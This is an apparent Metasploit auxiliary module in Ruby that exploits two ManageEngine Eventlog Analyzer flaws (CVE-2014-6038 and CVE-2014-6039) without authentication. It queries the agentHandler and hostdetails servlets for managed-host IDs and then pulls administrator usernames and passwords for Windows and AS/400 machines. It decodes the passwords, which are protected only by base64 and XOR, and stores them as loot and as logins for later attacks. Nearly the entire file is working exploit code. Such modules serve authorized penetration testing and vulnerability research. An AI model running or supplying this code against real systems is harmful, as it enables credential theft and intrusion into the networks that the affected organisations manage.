require 'msf/core'
require 'rexml/document'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super (update_info(info,
'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure' ,
'Description' => %q{
ManageEngine Eventlog Analyzer from v7 to v9. 9 b9002 has two security vulnerabilities that
allow an unauthenticated user to obtain the superuser password of any managed Windows and
AS / 400 hosts. This module abuses both vulnerabilities to collect all the available
usernames and passwords. First the agentHandler servlet is abused to get the hostid and
slid of each device ( CVE - 2014 - 6038 ); then these numeric id's are used to extract usernames
and passwords by abusing the hostdetails servlet ( CVE - 2014 - 6039 ). Note that on version 7
the TARGETURI has to be prepended with /event.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>'
],
'License' => MSF_LICENSE ,
'References' =>
[
[ 'CVE' , '2014-6038' ],
[ 'CVE' , '2014-6039' ],
[ 'OSVDB' , '114342' ],
[ 'OSVDB' , '114344' ],
],
'DisclosureDate' => 'Nov 5 2014' ))
register_options(
[
Opt:: RPORT ( 8400 ),
OptString. new ( 'TARGETURI' , [ true , 'Eventlog Analyzer application URI (should be /event for version 7)' , '/' ]),
], self . class )
end
def decode_password(encoded_password)
password_xor = Rex::Text.decode_base64(encoded_password)
password = ''
password_xor.bytes. each do |byte|
password << (byte ^ 0x30)
end
return password
end
def run
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'agentHandler' ),
'method' => 'GET' ,
'vars_get' => {
'mode' => 'getTableData' ,
'table' => 'HostDetails'
}
})
unless res && res.code == 200
fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet" )
return
end
xml = res.body.to_s.gsub(/&
begin
doc = REXML ::Document. new (xml)
rescue
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}" )
end
slid_host_ary = []
doc.elements. each ( 'Details/HostDetails' ) do |ele|
if ele.attributes[ 'password' ]
slid_host_ary << [ele.attributes[ 'slid' ], ele.attributes[ 'host_id' ]]
end
end
cred_table = Rex::Ui::Text::Table. new (
'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials' ,
'Indent' => 1 ,
'Columns' =>
[
'Host' ,
'Type' ,
'SubType' ,
'Domain' ,
'Username' ,
'Password' ,
]
)
slid_host_ary. each do |host|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'hostdetails' ),
'method' => 'GET' ,
'vars_get' => {
'slid' => host[ 0 ],
'hostid' => host[ 1 ]
}
})
unless res && res.code == 200
fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet" )
end
begin
doc = REXML ::Document. new (res.body)
rescue
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}" )
end
doc.elements. each ( 'Details/Hosts' ) do |ele|
host_ipaddress = ele.attributes[ 'host_ipaddress' ] || ''
ele.elements. each ( 'HostDetails' ) do |details|
domain_name = details.attributes[ 'domain_name' ] || ''
username = details.attributes[ 'username' ] || ''
password_encoded = details.attributes[ 'password' ] || ''
password = decode_password(password_encoded)
type = details.attributes[ 'type' ] || ''
subtype = details.attributes[ 'subtype' ] || ''
unless type =~ /Windows/ || subtype =~ /Windows/
domain_name = ""
end
msg = "Got login to #{host_ipaddress} | running "
msg << type << (subtype != '' ? " | #{subtype}" : '' )
msg << ' | username: '
msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username)
msg << " | password: #{password}"
print_good(msg)
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
if type == 'Windows'
service_name = 'epmap'
port = 135
elsif type == 'IBM AS/400'
service_name = 'as-servermap'
port = 449
else
next
end
credential_core = report_credential_core({
password: password,
username: username,
})
host_login_data = {
address: host_ipaddress,
service_name: service_name,
workspace_id: myworkspace_id,
protocol: 'tcp' ,
port: port,
core: credential_core,
status: Metasploit::Model::Login::Status:: UNTRIED
}
create_credential_login(host_login_data)
end
end
end
print_line
print_line( "#{cred_table}" )
loot_name = 'manageengine.eventlog.managed_hosts.creds'
loot_type = 'text/csv'
loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
p = store_loot(
loot_name,
loot_type,
rhost,
cred_table.to_csv,
loot_filename,
loot_desc)
print_status "Credentials saved in: #{p}"
end
def report_credential_core(cred_opts={})
origin_service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http' ),
protocol: 'tcp' ,
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service ,
module_fullname: self .fullname,
private_type: :password ,
private_data: cred_opts[ :password ],
username: cred_opts[ :username ]
}
credential_data.merge!(origin_service_data)
create_credential(credential_data)
end
end
|